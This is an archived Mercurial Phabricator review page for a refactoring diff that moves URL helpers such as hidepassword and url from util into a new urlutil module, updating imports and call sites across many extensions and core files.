This is an archive of the discontinued Mercurial Phabricator instance.

Differential D10374

urlutil: extract `url` related code from `util` into the new module
ClosedPublic

Authored by marmoute on Apr 12 2021, 11:30 AM.

Details

Reviewers
durin42
martinvonz
pulkit
Group Reviewers
hg-reviewers
Commits
rHGffd3e823a7e5: urlutil: extract `url` related code from `util` into the new module
Summary

The new module is well fitting for this new code. And this will be useful to
make the gathered code collaborate more later.

Diff Detail

Repository
rHG Mercurial
Lint
Automatic diff as part of commit; lint not applicable.
Unit
Automatic diff as part of commit; unit tests not applicable.

Revision Contents
Changeset List

Diff 26892

hgext/fetch.py

from mercurial import ( from mercurial import (
cmdutil, cmdutil,
error, error,
exchange, exchange,
hg, hg,
lock, lock,
pycompat, pycompat,
registrar, registrar,
util,
) )
from mercurial.utils import dateutil from mercurial.utils import (
dateutil,
urlutil,
)
release = lock.release release = lock.release
cmdtable = {} cmdtable = {}
command = registrar.command(cmdtable) command = registrar.command(cmdtable)
# Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
# extensions which SHIP WITH MERCURIAL. Non-mainline extensions should # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
# be specifying the version(s) of Mercurial they are tested with, or # be specifying the version(s) of Mercurial they are tested with, or
# leave the attribute unspecified. # leave the attribute unspecified.
_( _(
b'multiple heads in this branch ' b'multiple heads in this branch '
b'(use "hg heads ." and "hg merge" to merge)' b'(use "hg heads ." and "hg merge" to merge)'
) )
) )
other = hg.peer(repo, opts, ui.expandpath(source)) other = hg.peer(repo, opts, ui.expandpath(source))
ui.status( ui.status(
_(b'pulling from %s\n') % util.hidepassword(ui.expandpath(source)) _(b'pulling from %s\n')
% urlutil.hidepassword(ui.expandpath(source))
) )
revs = None revs = None
if opts[b'rev']: if opts[b'rev']:
try: try:
revs = [other.lookup(rev) for rev in opts[b'rev']] revs = [other.lookup(rev) for rev in opts[b'rev']]
except error.CapabilityError: except error.CapabilityError:
err = _( err = _(
b"other repository doesn't support revision lookup, " b"other repository doesn't support revision lookup, "
ui.status( ui.status(
_(b'merging with %d:%s\n') % (p2ctx.rev(), short(secondparent)) _(b'merging with %d:%s\n') % (p2ctx.rev(), short(secondparent))
) )
err = hg.merge(p2ctx, remind=False) err = hg.merge(p2ctx, remind=False)
if not err: if not err:
# we don't translate commit messages # we don't translate commit messages
message = cmdutil.logmessage(ui, opts) or ( message = cmdutil.logmessage(ui, opts) or (
b'Automated merge with %s' % util.removeauth(other.url()) b'Automated merge with %s' % urlutil.removeauth(other.url())
) )
editopt = opts.get(b'edit') or opts.get(b'force_editor') editopt = opts.get(b'edit') or opts.get(b'force_editor')
editor = cmdutil.getcommiteditor(edit=editopt, editform=b'fetch') editor = cmdutil.getcommiteditor(edit=editopt, editform=b'fetch')
n = repo.commit( n = repo.commit(
message, opts[b'user'], opts[b'date'], editor=editor message, opts[b'user'], opts[b'date'], editor=editor
) )
ui.status( ui.status(
_(b'new changeset %d:%s merges remote changes with local\n') _(b'new changeset %d:%s merges remote changes with local\n')
% (repo.changelog.rev(n), short(n)) % (repo.changelog.rev(n), short(n))
) )
return err return err
finally: finally:
release(lock, wlock) release(lock, wlock)

hgext/histedit.py

rewriteutil, rewriteutil,
scmutil, scmutil,
state as statemod, state as statemod,
util, util,
) )
from mercurial.utils import ( from mercurial.utils import (
dateutil, dateutil,
stringutil, stringutil,
urlutil,
) )
pickle = util.pickle pickle = util.pickle
cmdtable = {} cmdtable = {}
command = registrar.command(cmdtable) command = registrar.command(cmdtable)
configtable = {} configtable = {}
configitem = registrar.configitem(configtable) configitem = registrar.configitem(configtable)
def findoutgoing(ui, repo, remote=None, force=False, opts=None): def findoutgoing(ui, repo, remote=None, force=False, opts=None):
"""utility function to find the first outgoing changeset """utility function to find the first outgoing changeset
Used by initialization code""" Used by initialization code"""
if opts is None: if opts is None:
opts = {} opts = {}
dest = ui.expandpath(remote or b'default-push', remote or b'default') dest = ui.expandpath(remote or b'default-push', remote or b'default')
dest, branches = hg.parseurl(dest, None)[:2] dest, branches = hg.parseurl(dest, None)[:2]
ui.status(_(b'comparing with %s\n') % util.hidepassword(dest)) ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(dest))
revs, checkout = hg.addbranchrevs(repo, repo, branches, None) revs, checkout = hg.addbranchrevs(repo, repo, branches, None)
other = hg.peer(repo, opts, dest) other = hg.peer(repo, opts, dest)
if revs: if revs:
revs = [repo.lookup(rev) for rev in revs] revs = [repo.lookup(rev) for rev in revs]
outgoing = discovery.findcommonoutgoing(repo, other, revs, force=force) outgoing = discovery.findcommonoutgoing(repo, other, revs, force=force)

hgext/largefiles/basestore.py

# Copyright 2009-2010 Gregory P. Ward # Copyright 2009-2010 Gregory P. Ward
# Copyright 2009-2010 Intelerad Medical Systems Incorporated # Copyright 2009-2010 Intelerad Medical Systems Incorporated
# Copyright 2010-2011 Fog Creek Software # Copyright 2010-2011 Fog Creek Software
# Copyright 2010-2011 Unity Technologies # Copyright 2010-2011 Unity Technologies
# #
# This software may be used and distributed according to the terms of the # This software may be used and distributed according to the terms of the
# GNU General Public License version 2 or any later version. # GNU General Public License version 2 or any later version.
'''base class for store implementations and store-related utility code''' '''base class for store implementations and store-related utility code'''
from __future__ import absolute_import from __future__ import absolute_import
from mercurial.i18n import _ from mercurial.i18n import _
from mercurial import node, util from mercurial import node, util
from mercurial.utils import (
urlutil,
)
from . import lfutil from . import lfutil
class StoreError(Exception): class StoreError(Exception):
"""Raised when there is a problem getting files from or putting """Raised when there is a problem getting files from or putting
files to a central store.""" files to a central store."""
def __init__(self, filename, hash, url, detail): def __init__(self, filename, hash, url, detail):
self.filename = filename self.filename = filename
self.hash = hash self.hash = hash
self.url = url self.url = url
self.detail = detail self.detail = detail
def longmessage(self): def longmessage(self):
return _(b"error getting id %s from url %s for file %s: %s\n") % ( return _(b"error getting id %s from url %s for file %s: %s\n") % (
self.hash, self.hash,
util.hidepassword(self.url), urlutil.hidepassword(self.url),
self.filename, self.filename,
self.detail, self.detail,
) )
def __str__(self): def __str__(self):
return b"%s: %s" % (util.hidepassword(self.url), self.detail) return b"%s: %s" % (urlutil.hidepassword(self.url), self.detail)
class basestore(object): class basestore(object):
def __init__(self, ui, repo, url): def __init__(self, ui, repo, url):
self.ui = ui self.ui = ui
self.repo = repo self.repo = repo
self.url = url self.url = url
for filename, hash in files: for filename, hash in files:
progress.update(at) progress.update(at)
at += 1 at += 1
ui.note(_(b'getting %s:%s\n') % (filename, hash)) ui.note(_(b'getting %s:%s\n') % (filename, hash))
if not available.get(hash): if not available.get(hash):
ui.warn( ui.warn(
_(b'%s: largefile %s not available from %s\n') _(b'%s: largefile %s not available from %s\n')
% (filename, hash, util.hidepassword(self.url)) % (filename, hash, urlutil.hidepassword(self.url))
) )
missing.append(filename) missing.append(filename)
continue continue
if self._gethash(filename, hash): if self._gethash(filename, hash):
success.append((filename, hash)) success.append((filename, hash))
else: else:
missing.append(filename) missing.append(filename)

hgext/largefiles/remotestore.py

from mercurial.i18n import _ from mercurial.i18n import _
from mercurial import ( from mercurial import (
error, error,
pycompat, pycompat,
util, util,
) )
from mercurial.utils import stringutil from mercurial.utils import (
stringutil,
urlutil,
)
from . import ( from . import (
basestore, basestore,
lfutil, lfutil,
localstore, localstore,
) )
urlerr = util.urlerr urlerr = util.urlerr
urlreq = util.urlreq urlreq = util.urlreq
class remotestore(basestore.basestore): class remotestore(basestore.basestore):
'''a largefile store accessed over a network''' '''a largefile store accessed over a network'''
def __init__(self, ui, repo, url): def __init__(self, ui, repo, url):
super(remotestore, self).__init__(ui, repo, url) super(remotestore, self).__init__(ui, repo, url)
self._lstore = None self._lstore = None
if repo is not None: if repo is not None:
self._lstore = localstore.localstore(self.ui, self.repo, self.repo) self._lstore = localstore.localstore(self.ui, self.repo, self.repo)
def put(self, source, hash): def put(self, source, hash):
if self.sendfile(source, hash): if self.sendfile(source, hash):
raise error.Abort( raise error.Abort(
_(b'remotestore: could not put %s to remote store %s') _(b'remotestore: could not put %s to remote store %s')
% (source, util.hidepassword(self.url)) % (source, urlutil.hidepassword(self.url))
) )
self.ui.debug( self.ui.debug(
_(b'remotestore: put %s to remote store %s\n') _(b'remotestore: put %s to remote store %s\n')
% (source, util.hidepassword(self.url)) % (source, urlutil.hidepassword(self.url))
) )
def exists(self, hashes): def exists(self, hashes):
return { return {
h: s == 0 h: s == 0
for (h, s) in pycompat.iteritems( for (h, s) in pycompat.iteritems(
self._stat(hashes) self._stat(hashes)
) # dict-from-generator ) # dict-from-generator
raise basestore.StoreError( raise basestore.StoreError(
filename, hash, self.url, stringutil.forcebytestr(e) filename, hash, self.url, stringutil.forcebytestr(e)
) )
except urlerr.urlerror as e: except urlerr.urlerror as e:
# This usually indicates a connection problem, so don't # This usually indicates a connection problem, so don't
# keep trying with the other files... they will probably # keep trying with the other files... they will probably
# all fail too. # all fail too.
raise error.Abort( raise error.Abort(
b'%s: %s' % (util.hidepassword(self.url), e.reason) b'%s: %s' % (urlutil.hidepassword(self.url), e.reason)
) )
except IOError as e: except IOError as e:
raise basestore.StoreError( raise basestore.StoreError(
filename, hash, self.url, stringutil.forcebytestr(e) filename, hash, self.url, stringutil.forcebytestr(e)
) )
return lfutil.copyandhash(chunks, tmpfile) return lfutil.copyandhash(chunks, tmpfile)

hgext/largefiles/storefactory.py

# This software may be used and distributed according to the terms of the # This software may be used and distributed according to the terms of the
# GNU General Public License version 2 or any later version. # GNU General Public License version 2 or any later version.
from __future__ import absolute_import from __future__ import absolute_import
import re import re
from mercurial.i18n import _ from mercurial.i18n import _
from mercurial.pycompat import getattr from mercurial.pycompat import getattr
from mercurial import ( from mercurial import (
error, error,
hg, hg,
util, util,
) )
from mercurial.utils import (
urlutil,
)
from . import ( from . import (
lfutil, lfutil,
localstore, localstore,
wirestore, wirestore,
) )
# During clone this function is passed the src's ui object # During clone this function is passed the src's ui object
for classobj in storeproviders: for classobj in storeproviders:
try: try:
return classobj(ui, repo, remote) return classobj(ui, repo, remote)
except lfutil.storeprotonotcapable: except lfutil.storeprotonotcapable:
pass pass
raise error.Abort( raise error.Abort(
_(b'%s does not appear to be a largefile store') _(b'%s does not appear to be a largefile store')
% util.hidepassword(path) % urlutil.hidepassword(path)
) )
_storeprovider = { _storeprovider = {
b'file': [localstore.localstore], b'file': [localstore.localstore],
b'http': [wirestore.wirestore], b'http': [wirestore.wirestore],
b'https': [wirestore.wirestore], b'https': [wirestore.wirestore],
b'ssh': [wirestore.wirestore], b'ssh': [wirestore.wirestore],
} }
_scheme_re = re.compile(br'^([a-zA-Z0-9+-.]+)://') _scheme_re = re.compile(br'^([a-zA-Z0-9+-.]+)://')
def getlfile(ui, hash): def getlfile(ui, hash):
return util.chunkbuffer(openstore(ui=ui)._get(hash)) return util.chunkbuffer(openstore(ui=ui)._get(hash))

hgext/lfs/blobstore.py

pathutil, pathutil,
pycompat, pycompat,
url as urlmod, url as urlmod,
util, util,
vfs as vfsmod, vfs as vfsmod,
worker, worker,
) )
from mercurial.utils import stringutil from mercurial.utils import (
stringutil,
urlutil,
)
from ..largefiles import lfutil from ..largefiles import lfutil
# 64 bytes for SHA256 # 64 bytes for SHA256
_lfsre = re.compile(br'\A[a-f0-9]{64}\Z') _lfsre = re.compile(br'\A[a-f0-9]{64}\Z')
class lfsvfs(vfsmod.vfs): class lfsvfs(vfsmod.vfs):
If ``lfs.url`` is specified, use that remote endpoint. Otherwise, try to If ``lfs.url`` is specified, use that remote endpoint. Otherwise, try to
infer the endpoint, based on the remote repository using the same path infer the endpoint, based on the remote repository using the same path
adjustments as git. As an extension, 'http' is supported as well so that adjustments as git. As an extension, 'http' is supported as well so that
``hg serve`` works out of the box. ``hg serve`` works out of the box.
https://github.com/git-lfs/git-lfs/blob/master/docs/api/server-discovery.md https://github.com/git-lfs/git-lfs/blob/master/docs/api/server-discovery.md
""" """
lfsurl = repo.ui.config(b'lfs', b'url') lfsurl = repo.ui.config(b'lfs', b'url')
url = util.url(lfsurl or b'') url = urlutil.url(lfsurl or b'')
if lfsurl is None: if lfsurl is None:
if remote: if remote:
path = remote path = remote
elif util.safehasattr(repo, b'_subtoppath'): elif util.safehasattr(repo, b'_subtoppath'):
# The pull command sets this during the optional update phase, which # The pull command sets this during the optional update phase, which
# tells exactly where the pull originated, whether 'paths.default' # tells exactly where the pull originated, whether 'paths.default'
# or explicit. # or explicit.
path = repo._subtoppath path = repo._subtoppath
else: else:
# TODO: investigate 'paths.remote:lfsurl' style path customization, # TODO: investigate 'paths.remote:lfsurl' style path customization,
# and fall back to inferring from 'paths.remote' if unspecified. # and fall back to inferring from 'paths.remote' if unspecified.
path = repo.ui.config(b'paths', b'default') or b'' path = repo.ui.config(b'paths', b'default') or b''
defaulturl = util.url(path) defaulturl = urlutil.url(path)
# TODO: support local paths as well. # TODO: support local paths as well.
# TODO: consider the ssh -> https transformation that git applies # TODO: consider the ssh -> https transformation that git applies
if defaulturl.scheme in (b'http', b'https'): if defaulturl.scheme in (b'http', b'https'):
if defaulturl.path and defaulturl.path[:-1] != b'/': if defaulturl.path and defaulturl.path[:-1] != b'/':
defaulturl.path += b'/' defaulturl.path += b'/'
defaulturl.path = (defaulturl.path or b'') + b'.git/info/lfs' defaulturl.path = (defaulturl.path or b'') + b'.git/info/lfs'
url = util.url(bytes(defaulturl)) url = urlutil.url(bytes(defaulturl))
repo.ui.note(_(b'lfs: assuming remote store: %s\n') % url) repo.ui.note(_(b'lfs: assuming remote store: %s\n') % url)
scheme = url.scheme scheme = url.scheme
if scheme not in _storemap: if scheme not in _storemap:
raise error.Abort(_(b'lfs: unknown url scheme: %s') % scheme) raise error.Abort(_(b'lfs: unknown url scheme: %s') % scheme)
return _storemap[scheme](repo, url) return _storemap[scheme](repo, url)
class LfsRemoteError(error.StorageError): class LfsRemoteError(error.StorageError):
pass pass
class LfsCorruptionError(error.Abort): class LfsCorruptionError(error.Abort):
"""Raised when a corrupt blob is detected, aborting an operation """Raised when a corrupt blob is detected, aborting an operation
It exists to allow specialized handling on the server side.""" It exists to allow specialized handling on the server side."""

hgext/mq.py

strip, strip,
subrepoutil, subrepoutil,
util, util,
vfs as vfsmod, vfs as vfsmod,
) )
from mercurial.utils import ( from mercurial.utils import (
dateutil, dateutil,
stringutil, stringutil,
urlutil,
) )
release = lockmod.release release = lockmod.release
seriesopts = [(b's', b'summary', None, _(b'print first line of patch header'))] seriesopts = [(b's', b'summary', None, _(b'print first line of patch header'))]
cmdtable = {} cmdtable = {}
command = registrar.command(cmdtable) command = registrar.command(cmdtable)
# Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
for i, filename in enumerate(files): for i, filename in enumerate(files):
if existing: if existing:
if filename == b'-': if filename == b'-':
raise error.Abort( raise error.Abort(
_(b'-e is incompatible with import from -') _(b'-e is incompatible with import from -')
) )
filename = normname(filename) filename = normname(filename)
self.checkreservedname(filename) self.checkreservedname(filename)
if util.url(filename).islocal(): if urlutil.url(filename).islocal():
originpath = self.join(filename) originpath = self.join(filename)
if not os.path.isfile(originpath): if not os.path.isfile(originpath):
raise error.Abort( raise error.Abort(
_(b"patch %s does not exist") % filename _(b"patch %s does not exist") % filename
) )
if patchname: if patchname:
self.checkpatchname(patchname, force) self.checkpatchname(patchname, force)

hgext/narrow/narrowcommands.py

registrar, registrar,
repair, repair,
repoview, repoview,
requirements, requirements,
sparse, sparse,
util, util,
wireprototypes, wireprototypes,
) )
from mercurial.utils import (
urlutil,
)
table = {} table = {}
command = registrar.command(table) command = registrar.command(table)
def setup(): def setup():
"""Wraps user-facing mercurial commands with narrow-aware versions.""" """Wraps user-facing mercurial commands with narrow-aware versions."""
with repo.wlock(), repo.lock(): with repo.wlock(), repo.lock():
cmdutil.bailifchanged(repo) cmdutil.bailifchanged(repo)
# Find the revisions we have in common with the remote. These will # Find the revisions we have in common with the remote. These will
# be used for finding local-only changes for narrowing. They will # be used for finding local-only changes for narrowing. They will
# also define the set of revisions to update for widening. # also define the set of revisions to update for widening.
remotepath = ui.expandpath(remotepath or b'default') remotepath = ui.expandpath(remotepath or b'default')
url, branches = hg.parseurl(remotepath) url, branches = hg.parseurl(remotepath)
ui.status(_(b'comparing with %s\n') % util.hidepassword(url)) ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(url))
remote = hg.peer(repo, opts, url) remote = hg.peer(repo, opts, url)
try: try:
# check narrow support before doing anything if widening needs to be # check narrow support before doing anything if widening needs to be
# performed. In future we should also abort if client is ellipses and # performed. In future we should also abort if client is ellipses and
# server does not support ellipses # server does not support ellipses
if ( if (
widening widening

hgext/patchbomb.py

mail, mail,
patch, patch,
pycompat, pycompat,
registrar, registrar,
scmutil, scmutil,
templater, templater,
util, util,
) )
from mercurial.utils import dateutil from mercurial.utils import (
dateutil,
urlutil,
)
stringio = util.stringio stringio = util.stringio
cmdtable = {} cmdtable = {}
command = registrar.command(cmdtable) command = registrar.command(cmdtable)
configtable = {} configtable = {}
configitem = registrar.configitem(configtable) configitem = registrar.configitem(configtable)
return msgs return msgs
def _getoutgoing(repo, dest, revs): def _getoutgoing(repo, dest, revs):
'''Return the revisions present locally but not in dest''' '''Return the revisions present locally but not in dest'''
ui = repo.ui ui = repo.ui
url = ui.expandpath(dest or b'default-push', dest or b'default') url = ui.expandpath(dest or b'default-push', dest or b'default')
url = hg.parseurl(url)[0] url = hg.parseurl(url)[0]
ui.status(_(b'comparing with %s\n') % util.hidepassword(url)) ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(url))
revs = [r for r in revs if r >= 0] revs = [r for r in revs if r >= 0]
if not revs: if not revs:
revs = [repo.changelog.tiprev()] revs = [repo.changelog.tiprev()]
revs = repo.revs(b'outgoing(%s) and ::%ld', dest or b'', revs) revs = repo.revs(b'outgoing(%s) and ::%ld', dest or b'', revs)
if not revs: if not revs:
ui.status(_(b"no changes found\n")) ui.status(_(b"no changes found\n"))
return revs return revs

hgext/phabricator.py

templatefilters, templatefilters,
templateutil, templateutil,
url as urlmod, url as urlmod,
util, util,
) )
from mercurial.utils import ( from mercurial.utils import (
procutil, procutil,
stringutil, stringutil,
urlutil,
) )
from . import show from . import show
# Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
# extensions which SHIP WITH MERCURIAL. Non-mainline extensions should # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
# be specifying the version(s) of Mercurial they are tested with, or # be specifying the version(s) of Mercurial they are tested with, or
# leave the attribute unspecified. # leave the attribute unspecified.
else: else:
for k, v in items(obj): for k, v in items(obj):
if prefix: if prefix:
process(b'%s[%s]' % (prefix, k), v) process(b'%s[%s]' % (prefix, k), v)
else: else:
process(k, v) process(k, v)
process(b'', params) process(b'', params)
return util.urlreq.urlencode(flatparams) return urlutil.urlreq.urlencode(flatparams)
def readurltoken(ui): def readurltoken(ui):
"""return conduit url, token and make sure they exist """return conduit url, token and make sure they exist
Currently read from [auth] config section. In the future, it might Currently read from [auth] config section. In the future, it might
make sense to read from .arcconfig and .arcrc as well. make sense to read from .arcconfig and .arcrc as well.
""" """
url = ui.config(b'phabricator', b'url') url = ui.config(b'phabricator', b'url')
if not url: if not url:
raise error.Abort( raise error.Abort(
_(b'config %s.%s is required') % (b'phabricator', b'url') _(b'config %s.%s is required') % (b'phabricator', b'url')
) )
res = httpconnectionmod.readauthforuri(ui, url, util.url(url).user) res = httpconnectionmod.readauthforuri(ui, url, urlutil.url(url).user)
token = None token = None
if res: if res:
group, auth = res group, auth = res
ui.debug(b"using auth.%s.* for authentication\n" % group) ui.debug(b"using auth.%s.* for authentication\n" % group)
token = auth.get(b'phabtoken') token = auth.get(b'phabtoken')

hgext/schemes.py

from mercurial.i18n import _ from mercurial.i18n import _
from mercurial import ( from mercurial import (
error, error,
extensions, extensions,
hg, hg,
pycompat, pycompat,
registrar, registrar,
templater, templater,
util, )
from mercurial.utils import (
urlutil,
) )
cmdtable = {} cmdtable = {}
command = registrar.command(cmdtable) command = registrar.command(cmdtable)
# Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
# extensions which SHIP WITH MERCURIAL. Non-mainline extensions should # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
# be specifying the version(s) of Mercurial they are tested with, or # be specifying the version(s) of Mercurial they are tested with, or
# leave the attribute unspecified. # leave the attribute unspecified.
def instance(self, ui, url, create, intents=None, createopts=None): def instance(self, ui, url, create, intents=None, createopts=None):
url = self.resolve(url) url = self.resolve(url)
return hg._peerlookup(url).instance( return hg._peerlookup(url).instance(
ui, url, create, intents=intents, createopts=createopts ui, url, create, intents=intents, createopts=createopts
) )
def resolve(self, url): def resolve(self, url):
# Should this use the util.url class, or is manual parsing better? # Should this use the urlutil.url class, or is manual parsing better?
try: try:
url = url.split(b'://', 1)[1] url = url.split(b'://', 1)[1]
except IndexError: except IndexError:
raise error.Abort(_(b"no '://' in scheme url '%s'") % url) raise error.Abort(_(b"no '://' in scheme url '%s'") % url)
parts = url.split(b'/', self.parts) parts = url.split(b'/', self.parts)
if len(parts) > self.parts: if len(parts) > self.parts:
tail = parts[-1] tail = parts[-1]
parts = parts[:-1] parts = parts[:-1]
_( _(
b'custom scheme %s:// conflicts with drive ' b'custom scheme %s:// conflicts with drive '
b'letter %s:\\\n' b'letter %s:\\\n'
) )
% (scheme, scheme.upper()) % (scheme, scheme.upper())
) )
hg.schemes[scheme] = ShortRepository(url, scheme, t) hg.schemes[scheme] = ShortRepository(url, scheme, t)
extensions.wrapfunction(util, b'hasdriveletter', hasdriveletter) extensions.wrapfunction(urlutil, b'hasdriveletter', hasdriveletter)
@command(b'debugexpandscheme', norepo=True) @command(b'debugexpandscheme', norepo=True)
def expandscheme(ui, url, **opts): def expandscheme(ui, url, **opts):
"""given a repo path, provide the scheme-expanded path""" """given a repo path, provide the scheme-expanded path"""
repo = hg._peerlookup(url) repo = hg._peerlookup(url)
if isinstance(repo, ShortRepository): if isinstance(repo, ShortRepository):
url = repo.resolve(url) url = repo.resolve(url)
ui.write(url + b'\n') ui.write(url + b'\n')

mercurial/bookmarks.py

encoding, encoding,
error, error,
obsutil, obsutil,
pycompat, pycompat,
scmutil, scmutil,
txnutil, txnutil,
util, util,
) )
from .utils import (
urlutil,
)
# label constants # label constants
# until 3.5, bookmarks.current was the advertised name, not # until 3.5, bookmarks.current was the advertised name, not
# bookmarks.active, so we must use both to avoid breaking old # bookmarks.active, so we must use both to avoid breaking old
# custom styles # custom styles
activebookmarklabel = b'bookmarks.active bookmarks.current' activebookmarklabel = b'bookmarks.active bookmarks.current'
BOOKMARKS_IN_STORE_REQUIREMENT = b'bookmarksinstore' BOOKMARKS_IN_STORE_REQUIREMENT = b'bookmarksinstore'
This reuses already existing one with "@number" suffix, if it This reuses already existing one with "@number" suffix, if it
refers ``remotenode``. refers ``remotenode``.
""" """
if b == b'@': if b == b'@':
b = b'' b = b''
# try to use an @pathalias suffix # try to use an @pathalias suffix
# if an @pathalias already exists, we overwrite (update) it # if an @pathalias already exists, we overwrite (update) it
if path.startswith(b"file:"): if path.startswith(b"file:"):
path = util.url(path).path path = urlutil.url(path).path
for p, u in ui.configitems(b"paths"): for p, u in ui.configitems(b"paths"):
if u.startswith(b"file:"): if u.startswith(b"file:"):
u = util.url(u).path u = urlutil.url(u).path
if path == u: if path == u:
return b'%s@%s' % (b, p) return b'%s@%s' % (b, p)
# assign a unique "@number" suffix newly # assign a unique "@number" suffix newly
for x in range(1, 100): for x in range(1, 100):
n = b'%s@%d' % (b, x) n = b'%s@%d' % (b, x)
if n not in localmarks or localmarks[n] == remotenode: if n not in localmarks or localmarks[n] == remotenode:
return n return n

mercurial/bundle2.py

pycompat, pycompat,
requirements, requirements,
scmutil, scmutil,
streamclone, streamclone,
tags, tags,
url, url,
util, util,
) )
from .utils import stringutil from .utils import (
stringutil,
urlutil,
)
urlerr = util.urlerr urlerr = util.urlerr
urlreq = util.urlreq urlreq = util.urlreq
_pack = struct.pack _pack = struct.pack
_unpack = struct.unpack _unpack = struct.unpack
_fstreamparamsize = b'>i' _fstreamparamsize = b'>i'
the client matches what the server knows about the bundle. the client matches what the server knows about the bundle.
When multiple digest types are given, all of them are checked. When multiple digest types are given, all of them are checked.
""" """
try: try:
raw_url = inpart.params[b'url'] raw_url = inpart.params[b'url']
except KeyError: except KeyError:
raise error.Abort(_(b'remote-changegroup: missing "%s" param') % b'url') raise error.Abort(_(b'remote-changegroup: missing "%s" param') % b'url')
parsed_url = util.url(raw_url) parsed_url = urlutil.url(raw_url)
if parsed_url.scheme not in capabilities[b'remote-changegroup']: if parsed_url.scheme not in capabilities[b'remote-changegroup']:
raise error.Abort( raise error.Abort(
_(b'remote-changegroup does not support %s urls') _(b'remote-changegroup does not support %s urls')
% parsed_url.scheme % parsed_url.scheme
) )
try: try:
size = int(inpart.params[b'size']) size = int(inpart.params[b'size'])
real_part = util.digestchecker(url.open(op.ui, raw_url), size, digests) real_part = util.digestchecker(url.open(op.ui, raw_url), size, digests)
tr = op.gettransaction() tr = op.gettransaction()
from . import exchange from . import exchange
cg = exchange.readbundle(op.repo.ui, real_part, raw_url) cg = exchange.readbundle(op.repo.ui, real_part, raw_url)
if not isinstance(cg, changegroup.cg1unpacker): if not isinstance(cg, changegroup.cg1unpacker):
raise error.Abort( raise error.Abort(
_(b'%s: not a bundle version 1.0') % util.hidepassword(raw_url) _(b'%s: not a bundle version 1.0') % urlutil.hidepassword(raw_url)
) )
ret = _processchangegroup(op, cg, tr, op.source, b'bundle2') ret = _processchangegroup(op, cg, tr, op.source, b'bundle2')
if op.reply is not None: if op.reply is not None:
# This is definitely not the final form of this # This is definitely not the final form of this
# return. But one need to start somewhere. # return. But one need to start somewhere.
part = op.reply.newpart(b'reply:changegroup') part = op.reply.newpart(b'reply:changegroup')
part.addparam( part.addparam(
b'in-reply-to', pycompat.bytestr(inpart.id), mandatory=False b'in-reply-to', pycompat.bytestr(inpart.id), mandatory=False
) )
part.addparam(b'return', b'%i' % ret, mandatory=False) part.addparam(b'return', b'%i' % ret, mandatory=False)
try: try:
real_part.validate() real_part.validate()
except error.Abort as e: except error.Abort as e:
raise error.Abort( raise error.Abort(
_(b'bundle at %s is corrupted:\n%s') _(b'bundle at %s is corrupted:\n%s')
% (util.hidepassword(raw_url), e.message) % (urlutil.hidepassword(raw_url), e.message)
) )
assert not inpart.read() assert not inpart.read()
@parthandler(b'reply:changegroup', (b'return', b'in-reply-to')) @parthandler(b'reply:changegroup', (b'return', b'in-reply-to'))
def handlereplychangegroup(op, inpart): def handlereplychangegroup(op, inpart):
ret = int(inpart.params[b'return']) ret = int(inpart.params[b'return'])
replyto = int(inpart.params[b'in-reply-to']) replyto = int(inpart.params[b'in-reply-to'])

mercurial/bundlerepo.py

mdiff, mdiff,
pathutil, pathutil,
phases, phases,
pycompat, pycompat,
revlog, revlog,
util, util,
vfs as vfsmod, vfs as vfsmod,
) )
from .utils import (
urlutil,
)
class bundlerevlog(revlog.revlog): class bundlerevlog(revlog.revlog):
def __init__(self, opener, indexfile, cgunpacker, linkmapper): def __init__(self, opener, indexfile, cgunpacker, linkmapper):
# How it works: # How it works:
# To retrieve a revision, we need to know the offset of the revision in # To retrieve a revision, we need to know the offset of the revision in
# the bundle (an unbundle object). We store this offset in the index # the bundle (an unbundle object). We store this offset in the index
# (start). The base of the delta is stored in the base field. # (start). The base of the delta is stored in the base field.
# In particular, we don't want temp dir names in test outputs. # In particular, we don't want temp dir names in test outputs.
cwd = encoding.getcwd() cwd = encoding.getcwd()
if parentpath == cwd: if parentpath == cwd:
parentpath = b'' parentpath = b''
else: else:
cwd = pathutil.normasprefix(cwd) cwd = pathutil.normasprefix(cwd)
if parentpath.startswith(cwd): if parentpath.startswith(cwd):
parentpath = parentpath[len(cwd) :] parentpath = parentpath[len(cwd) :]
u = util.url(path) u = urlutil.url(path)
path = u.localpath() path = u.localpath()
if u.scheme == b'bundle': if u.scheme == b'bundle':
s = path.split(b"+", 1) s = path.split(b"+", 1)
if len(s) == 1: if len(s) == 1:
repopath, bundlename = parentpath, s[0] repopath, bundlename = parentpath, s[0]
else: else:
repopath, bundlename = s repopath, bundlename = s
else: else:

mercurial/commands.py

  • This file is larger than 256 KB, so syntax highlighting is disabled by default.
util, util,
verify as verifymod, verify as verifymod,
vfs as vfsmod, vfs as vfsmod,
wireprotoserver, wireprotoserver,
) )
from .utils import ( from .utils import (
dateutil, dateutil,
stringutil, stringutil,
urlutil,
) )
if pycompat.TYPE_CHECKING: if pycompat.TYPE_CHECKING:
from typing import ( from typing import (
List, List,
) )
ui.expandpath(source), opts.get(b'branch') ui.expandpath(source), opts.get(b'branch')
) )
other = hg.peer(repo, opts, source) other = hg.peer(repo, opts, source)
try: try:
if b'bookmarks' not in other.listkeys(b'namespaces'): if b'bookmarks' not in other.listkeys(b'namespaces'):
ui.warn(_(b"remote doesn't support bookmarks\n")) ui.warn(_(b"remote doesn't support bookmarks\n"))
return 0 return 0
ui.pager(b'incoming') ui.pager(b'incoming')
ui.status(_(b'comparing with %s\n') % util.hidepassword(source)) ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(source))
return bookmarks.incoming(ui, repo, other) return bookmarks.incoming(ui, repo, other)
finally: finally:
other.close() other.close()
repo._subtoppath = ui.expandpath(source) repo._subtoppath = ui.expandpath(source)
try: try:
return hg.incoming(ui, repo, source, opts) return hg.incoming(ui, repo, source, opts)
finally: finally:
if opts.get(b'bookmarks'): if opts.get(b'bookmarks'):
